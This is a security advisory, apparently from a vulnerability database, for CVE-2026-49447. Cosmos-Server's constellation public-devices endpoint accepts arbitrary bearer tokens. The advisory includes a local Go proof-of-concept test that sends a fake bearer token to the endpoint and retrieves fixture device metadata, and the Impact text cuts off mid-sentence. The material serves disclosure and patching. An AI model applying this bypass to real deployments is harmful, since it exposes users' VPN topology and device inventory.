medium

CVE-2026-49447

Go · github.com/azukaar/cosmos-server

Summary

Cosmos-Server's constellation public-devices endpoint accepts arbitrary bearer tokens

Severity
medium
CVSS
5.3
EPSS
0.4% (p32)
CWE
CWE-287
Also known as
GHSA-5fqm-cc34-fcf5
Published
2026-07-28
Updated
2026-07-28

Advisory details

Summary

GET /cosmos/api/constellation/public-devices discloses Constellation device metadata to a requester that supplies any non-empty Authorization header. The handler strips the string Bearer from the header but never validates the resulting token and never uses it in the database query.

This was confirmed locally by routing a request through the real tokenMiddleware with Authorization: Bearer not-a-real-token. The request returned public Constellation device metadata from a disposable fixture. A missing-header negative control returned 401 Unauthorized, proving the bypass is specifically the acceptance of arbitrary bearer values.

Details

Source-to-sink path:

The handler does not call utils.CheckPermissions, utils.CheckPermissionsOrSelf, the Cosmos API-token permission check, or any Constellation-token validation before returning the data.

Default/common exposure evidence:

False-positive screen:

Candidate score: 13/18. Reachability 1, attacker control 2, privilege required 2, sink impact 1, mitigation weakness 2, default exposure 1, safe PoC feasibility 2, static certainty 2, false-positive resistance 2. The lower score reflects that Constellation is disabled in the shipped default config, but it is a documented/common product feature.

Exploitability gate: confirmed for deployments with Constellation enabled and populated with devices. The reachable source, arbitrary-token bypass, data-disclosure impact, safe local reproduction, and affected-version evidence are present. Default exposure is feature-dependent rather than enabled in a fresh default config.

PoC

Clean-checkout maintainer recipe:

  1. Check out commit 88de73dcca50172393a75de0e4dc3ab93622825c or version 0.22.18.
  2. Create src/zz_security_poc_test.go with the following test.
  3. Run go test ./src -run TestAuditPublicDevicesAllowsArbitraryBearer -count=1 -v.
  4. Delete src/zz_security_poc_test.go after confirming.
package main

import (
	"encoding/json"
	"net/http"
	"net/http/httptest"
	"testing"

	"github.com/azukaar/cosmos-server/src/constellation"
	"github.com/azukaar/cosmos-server/src/utils"
)

func TestAuditPublicDevicesAllowsArbitraryBearer(t *testing.T) {
	oldConfig := utils.MainConfig
	oldBaseConfig := utils.BaseMainConfig
	oldPush := utils.PushShieldMetrics
	oldConfigFolder := utils.CONFIGFOLDER
	defer func() {
		utils.MainConfig = oldConfig
		utils.BaseMainConfig = oldBaseConfig
		utils.PushShieldMetrics = oldPush
		utils.CONFIGFOLDER = oldConfigFolder
		utils.CloseEmbeddedDB()
	}()

	utils.PushShieldMetrics = func(string) {}
	utils.MainConfig = utils.DefaultConfig
	utils.MainConfig.NewInstall = false
	utils.MainConfig.HTTPConfig.Hostname = "example.test"
	utils.BaseMainConfig = utils.MainConfig
	tmp := t.TempDir()
	utils.CONFIGFOLDER = tmp + "/"
	utils.CloseEmbeddedDB()
	c, closeDb, err := utils.GetEmbeddedCollection(utils.GetRootAppId(), "devices")
	defer closeDb()
	if err != nil {
		t.Fatalf("embedded collection: %v", err)
	}
	_, err = c.InsertOne(nil, utils.ConstellationDevice{
		Nickname:       "victim-user",
		DeviceName:     "private-node",
		IP:             "10.8.0.42/24",
		IsLighthouse:   true,
		PublicHostname: "vpn.example.test",
		Port:           "4242",
		Blocked:        false,
		Invisible:      false,
	})
	if err != nil {
		t.Fatalf("insert device fixture: %v", err)
	}

	handler := tokenMiddleware(http.HandlerFunc(constellation.DevicePublicList))
	noAuthReq := httptest.NewRequest(http.MethodGet, "/cosmos/api/constellation/public-devices", nil)
	noAuthRec := httptest.NewRecorder()
	handler.ServeHTTP(noAuthRec, noAuthReq)
	if noAuthRec.Code != http.StatusUnauthorized {
		t.Fatalf("missing Authorization status = %d body = %s", noAuthRec.Code, noAuthRec.Body.String())
	}

	req := httptest.NewRequest(http.MethodGet, "/cosmos/api/constellation/public-devices", nil)
	req.Header.Set("Authorization", "Bearer not-a-real-token")
	rec := httptest.NewRecorder()
	handler.ServeHTTP(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("DevicePublicList status = %d body = %s", rec.Code, rec.Body.String())
	}

	var body struct {
		Status string `json:"status"`
		Data []struct {
			Name string `json:"name"`
			User string `json:"user"`
			IP string `json:"ip"`
			PublicHostname string `json:"publicHostname"`
		} `json:"data"`
	}
	if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
		t.Fatalf("response JSON: %v", err)
	}
	if body.Status != "OK" || len(body.Data) != 1 {
		t.Fatalf("unexpected response body: %s", rec.Body.String())
	}
	if body.Data[0].Name != "private-node" || body.Data[0].User != "victim-user" || body.Data[0].IP != "10.8.0.42" || body.Data[0].PublicHostname != "vpn.example.test" {
		t.Fatalf("unexpected device disclosure: %+v", body.Data[0])
	}
}

Observed output in this environment:

=== RUN   TestAuditPublicDevicesAllowsArbitraryBearer
2026/05/24 15:18:09 NOTICE: [INFO] DevicePublicList: Fetching devices with API key
--- PASS: TestAuditPublicDevicesAllowsArbitraryBearer (0.00s)
PASS
ok  	github.com/azukaar/cosmos-server/src	0.057s

Control/negative case: the same test first sends the request without Authorization and expects 401 Unauthorized. The subsequent Authorization: Bearer not-a-real-token request succeeds and returns the fixture, proving the bypass is not an intentionally unauthenticated endpoint but an unvalidated-header check.

Impact

An unauthenticated network attacker can enumerate Constellation device metadata from deployments that enable the Constellation/VPN feature and have visible devices. The response exposes device names, user nicknames, internal/VPN IP addresses, node roles such as lighthouse/relay/exit-node flags, public hostnames, and ports. This information can reveal private network topology and user/device inventory and can suppor

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.